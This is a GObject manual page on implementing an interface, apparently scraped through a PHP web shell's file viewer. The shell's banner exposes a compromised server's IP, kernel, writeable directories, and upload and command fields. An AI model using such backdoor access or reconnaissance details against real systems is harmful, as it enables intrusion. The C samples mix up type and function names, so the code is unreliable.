403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/gtk-doc/html/gobject/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/gtk-doc/html/gobject/howto-interface-implement.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>How To define implement an Interface?</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.75.2">
<link rel="home" href="index.html" title="GObject Reference Manual">
<link rel="up" href="howto-interface.html" title="How to define and implement interfaces">
<link rel="prev" href="howto-interface.html" title="How to define and implement interfaces">
<link rel="next" href="ch06s03.html" title="Interface definition prerequisites">
<meta name="generator" content="GTK-Doc V1.11 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="preface" href="pr01.html" title="Introduction">
<link rel="part" href="pt01.html" title="Part I. Concepts">
<link rel="chapter" href="chapter-intro.html" title="Background">
<link rel="chapter" href="chapter-gtype.html" title="The GLib Dynamic Type System">
<link rel="chapter" href="chapter-gobject.html" title="The GObject base class">
<link rel="chapter" href="chapter-signal.html" title="The GObject messaging system">
<link rel="reference" href="rn01.html" title="API Reference">
<link rel="reference" href="rn02.html" title="Tools Reference">
<link rel="part" href="pt02.html" title="Part IV. Tutorial">
<link rel="chapter" href="howto-gobject.html" title="How to define and implement a new GObject">
<link rel="chapter" href="howto-interface.html" title="How to define and implement interfaces">
<link rel="chapter" href="howto-signals.html" title="How to create and use signals">
<link rel="part" href="pt03.html" title="Part V. Related Tools">
<link rel="chapter" href="tools-vala.html" title="Vala">
<link rel="chapter" href="tools-gob.html" title="GObject builder">
<link rel="chapter" href="tools-ginspector.html" title="Graphical inspection of GObjects">
<link rel="chapter" href="tools-refdb.html" title="Debugging reference count problems">
<link rel="chapter" href="tools-gtkdoc.html" title="Writing API docs">
<link rel="index" href="ix01.html" title="Index">
<link rel="index" href="ix02.html" title="Index of deprecated symbols">
<link rel="index" href="ix03.html" title="Index of new symbols in 2.2">
<link rel="index" href="ix04.html" title="Index of new symbols in 2.4">
<link rel="index" href="ix05.html" title="Index of new symbols in 2.6">
<link rel="index" href="ix06.html" title="Index of new symbols in 2.8">
<link rel="index" href="ix07.html" title="Index of new symbols in 2.10">
<link rel="index" href="ix08.html" title="Index of new symbols in 2.12">
<link rel="index" href="ix09.html" title="Index of new symbols in 2.14">
<link rel="index" href="ix10.html" title="Index of new symbols in 2.18">
<link rel="index" href="ix11.html" title="Index of new symbols in 2.22">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle">
<td><a accesskey="p" href="howto-interface.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td><a accesskey="u" href="howto-interface.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<th width="100%" align="center">GObject Reference Manual</th>
<td><a accesskey="n" href="ch06s03.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
</tr></table>
<div class="sect1" title="How To define implement an Interface?">
<div class="titlepage"><div><div><h2 class="title" style="clear: both">
<a name="howto-interface-implement"></a>How To define implement an Interface?</h2></div></div></div>
<p>
      Once the interface is defined, implementing it is rather trivial.
    </p>
<p>
      The first step is to define a normal GObject class, like:
</p>
<pre class="programlisting">
#ifndef __MAMAN_BAZ_H__
#define __MAMAN_BAZ_H__

#include &lt;glib-object.h&gt;

#define MAMAN_TYPE_BAZ             (maman_baz_get_type ())
#define MAMAN_BAZ(obj)             (G_TYPE_CHECK_INSTANCE_CAST ((obj), MAMAN_TYPE_BAZ, Mamanbaz))
#define MAMAN_IS_BAZ(obj)          (G_TYPE_CHECK_INSTANCE_TYPE ((obj), MAMAN_TYPE_BAZ))
#define MAMAN_BAZ_CLASS(klass)     (G_TYPE_CHECK_CLASS_CAST ((klass), MAMAN_TYPE_BAZ, MamanbazClass))
#define MAMAN_IS_BAZ_CLASS(klass)  (G_TYPE_CHECK_CLASS_TYPE ((klass), MAMAN_TYPE_BAZ))
#define MAMAN_BAZ_GET_CLASS(obj)   (G_TYPE_INSTANCE_GET_CLASS ((obj), MAMAN_TYPE_BAZ, MamanbazClass))


typedef struct _MamanBaz        MamanBaz;
typedef struct _MamanBazClass   MamanBazClass;

struct _MamanBaz
{
  GObject parent_instance;

  int instance_member;
};

struct _MamanBazClass
{
  GObjectClass parent_class;
};

GType maman_baz_get_type (void);

#endif /* __MAMAN_BAZ_H__ */
</pre>
<p>
      There is clearly nothing specifically weird or scary about this header:
      it does not define any weird API or derives from a weird type.
    </p>
<p>
      The second step is to implement <span class="type">MamanBaz</span> by defining
      its GType. Instead of using <code class="function">G_DEFINE_TYPE</code> we
      use <code class="function">G_DEFINE_TYPE_WITH_CODE</code> and the
      <code class="function">G_IMPLEMENT_INTERFACE</code> macros.
</p>
<pre class="programlisting">
static void maman_ibaz_interface_init (MamanIbazInterface *iface);

G_DEFINE_TYPE_WITH_CODE (MamanBar, maman_bar, G_TYPE_OBJECT,
                         G_IMPLEMENT_INTERFACE (MAMAN_TYPE_IBAZ,
                                                maman_ibaz_interface_init));
</pre>
<p>
      This definition is very much like all the similar functions we looked
      at previously. The only interface-specific code present here is the call
      to <code class="function">G_IMPLEMENT_INTERFACE</code>. 
    </p>
<div class="note" title="Note" style="margin-left: 0.5in; margin-right: 0.5in;">
<h3 class="title">Note</h3>
<p>Classes can implement multiple interfaces by using multiple
    calls to <code class="function">G_IMPLEMENT_INTERFACE</code> inside the call
    to <code class="function">G_DEFINE_TYPE_WITH_CODE</code>.</p>
</div>
<p>
      <code class="function">maman_baz_interface_init</code>, the interface
      initialization function: inside it every virtual method of the interface
      must be assigned to its implementation:
</p>
<pre class="programlisting">
static void
maman_baz_do_action (MamanBaz *self)
{
  g_print ("Baz implementation of IBaz interface Action: 0x%x.\n",
           self-&gt;instance_member);
}

static void
maman_ibaz_interface_init (MamanIbazInterface *iface)
{
  iface-&gt;do_action = baz_do_action;
}

static void
maman_baz_init (MamanBaz *self)
{
  MamanBaz *self = MAMAN_BAZ (instance);
  self-&gt;instance_member = 0xdeadbeaf;
}
</pre>
<p>
    </p>
</div>
<div class="footer">
<hr>
          Generated by GTK-Doc V1.11</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit